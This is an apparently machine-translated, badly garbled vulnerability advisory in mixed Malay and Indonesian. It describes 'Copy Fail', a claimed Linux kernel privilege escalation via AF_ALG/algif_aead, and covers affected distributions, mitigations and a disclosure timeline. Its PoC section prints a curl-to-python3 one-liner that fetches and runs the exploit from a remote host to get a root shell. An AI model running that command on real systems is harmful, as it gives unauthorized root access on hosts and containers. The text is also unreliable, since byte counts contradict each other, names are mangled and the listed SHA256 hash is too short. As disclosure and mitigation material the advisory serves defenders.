Melayu

← Kembali ke senarai

232 byte untuk membunuh Linux: lubang celah epik hampir sepuluh tahun.

itadol5j

Gagal CopyCopy

Lubang-lubang-unggal puisi: 732 byte membunuh semua Linux, mengintai selama hampir 10 tahun

Nama A.*********************************************** ********* ****** ****** ********* ******* ******** ***** ******** ************ *** ********* ***** ****** ** **** ** ** ***** * * * * * * * * * * * * * * * * * * * * * * * **kernel Linux (CVE-2026-314331) diungkapkan secara terbuka:

  • ♪ 732 bytes ♪Skrip Python
  • 100% dapat dipercaya, tidak ada jendela kompetitif atau ofset kernel
  • Aquixing Impact semua Linux rilis Versi(Inggris)
  • Tempat pelarian kontainer.Serangan lintas-tenant.
  • Aku sudah mengintai selama hampir 10 tahun.Sampai 29 April 2026

Naskah yang sama diUbuntu, RHEL, Amazon Linux, SUSEKedua - duanya valid — tidak ada perubahan yang diperlukan.

♪ Inti dari lubang ♪

Pengurangan Logika Tunggal

CopyCopy Gagal adalah salah satuKecacatan logis garis lurusKANTOR:

  • Tidak dibutuhkan jendela kompetitifTidak seperti kebanyakan LPE Linux, Anda perlu bersaing.
  • Tidak diperlukan ofset kernel.: Tidak diperlukan ofset kernel spesifik
  • 100% dapat dipercayaPenyusun:
  • Skrip yang samavalid untuk semua distribusi

Rantai lubang.

Rantaian serangan Gagal Copy:

  • Kesalahan logika LogikalSerangga logika
  • AF AF ALGMelalui API kripto kernel
  • ()Chain call
  • 4 byte halaman-kache menulisSerangan akhir pada bahasa asli
  • Ada hampir 10 tahunDari 2017 ke rilis patch

Skop dampak

Perilisan sertifikasi resmi

Melepaskan Versi kernel XOV Status
Ubuntu 24.04 LTS 6.17.0-007-aws ✅ Disahkan
Amazon Amazon Linux 2023 6.18.8-9-9.213. amzn 2023 ✅ Disahkan
ERHEL 10.1 6.12.0-124.5.1.el10 1 ✅ Disahkan
SUSE 16 6.12.0-16000.9-default ✅ Disahkan

Edisi-edisi lain yang terpengaruh

Edisi berikutSama saja.KANTOR:

  • Zabian.
  • Accan Linux.
  • Fedora.
  • Linux
  • ULIS
  • Oracle Linux
  • Terbenam Terbenam Linux

KesimpulanJika kernel Anda dibangun antara 2017 dan patch ...Kau terpengaruh.Aku tidak tahu.

Senario berisiko tinggi

Adegan Risiko Impact
Host Linux Tenant Beraneka Vicar SMA Setiap pengguna menjadi root
Kubernetes / Gugus Bekas SMA Cross-kontainer, serangan lintas-tenan
Co. SMA PR menjadi akar pelari
Kode pengguna berjalan Cloud SaaS SMA Tenant menjadi akar host
Server Linux standard Sederhana Internal LPE, serangan berantai.
Notebook tunggal pengguna low Langkah-langkah sebelum penyusupan

Mitigasi

Opsi 1: Pemutakhiran kernel (disarankan)

undo-typeMaafkan aku, grup garis utama 6664bf3d603dPenyusun:

  • Fix ContentUndo algif maju di-place optimasi pada tahun 2017
  • Kesanhalaman-cache halaman tidak muncul lagi pada writeable
  • StatusKebanyakan edisi utama telah merilis patch

Pilihan 2: Matikan modul aead algif (sementara)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Menonaktifkan efek algif ke depan

Komponen Impact
/LUKS Tidak ada dampak
KTLS / IPsec Tidak ada dampak
OpenSSL / SSH Tidak ada dampak
AF AF ALG Userspace Kemungkinan dampak

KesimpulanMatikan aead algif untuk sebagian besar sistemTidak ada dampak yang jelas.Aku tidak tahu.

Program Fidusia 3: Seccomp Stop AF ALG

Untuk beban kerja yang tidak dapat dipercaya (pengendali, kotak pasir, CI), mencegah soket AF ALG untuk menciptakan:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

Persembahan 🚀PoC

PoC telah dibuat publik untuk sistem validasi:

Cepat lari

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Rincian PC Perancis

  • Saiz Fail XEF:732 byte
  • BahasaPython 3.10+ stdlib saja
  • Sasaran Default:/usr/bin/su
  • SHA256567d09b15f6e4440e70c9f2a8edec8ed559f53301952df05c7a3911687f9

Amaran: skrip untuk mengubah ukuran halaman dari biner skrip; perubahan tidak berlangsung setelah restart, tetapi shell root adalah nyata. Jangan lari di lingkungan produksi.

• Pengungkapan garis waktu

Tarikh Peristiwa
2026-03-23 Melaporkan kepada tim Keamanan Kernel Linux
2026-03-24 Inisial konfirmasi
2026-03-25 Tampung proposal dan audit
2026-04-01 Tampung kemainline
2026-04-22 AVE-2026-314331 Atribusi
2026-04-29 Pengungkapan publik

Pendiri: Kode Xint

Lubang olehKode XOZINDitemukan:

  • Waktu MemindaiSekitar 1 jam scan Linux kripto/ subsistem
  • Metode Cari InfanologiAudit kode AI didorong
  • Analisis lengkap dengan analisis lengkap:root penyebab, diagram, program impraator
  • Temuan lainCelah kritisitas tingkat tinggi lainnya juga diidentifikasi dan masih dikoordinasikan untuk pengungkapan

Kode XOZIN

  • Hari ini RCEZeroDay Cloud, kategori basis data menyapu (Redis, PostgreSQL, MariaDB)
  • AuxCC Top 3DARPA AI Cyber Challenge final
  • CON CTF 9xDEF CON CTF tim pemenang dalam sejarah

Ringkasan

Gagal Menyalin (CVE-2026-314331)Lubang kernel epik LinuxKANTOR:

  • 257 732 Byte Kill All Linux (sejak 2017)
  • Keandalan 100%, cacat logika tunggal
  • Bekas pelarian. Serangan lintas batas.
  • Ini sudah mengintai selama hampir 10 tahun sampai 29 April 2026.
  • Skenario high-risk: mesin kepemilikan rumah multi-rent, cluster kontainer, CI Runner, SaaS
  • Mitigasi: Update atau ban kernel algif aead
  • Pendiri: Xint Code, AI driver audit

Hampir satu dekade lubang epik, naskah membunuh semua Linux.

Jaringan Fragmentasi KebidananKANTOR:https://salinan.fail

Andika GitHub PoCKANTOR:https://github.com/theori-io/copy-fail-CVE-2026-314331

Analisis teknikalKANTOR:https://xint.io/blog/copy-fail-linux-distribusi

Tampungan kernelKANTOR:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5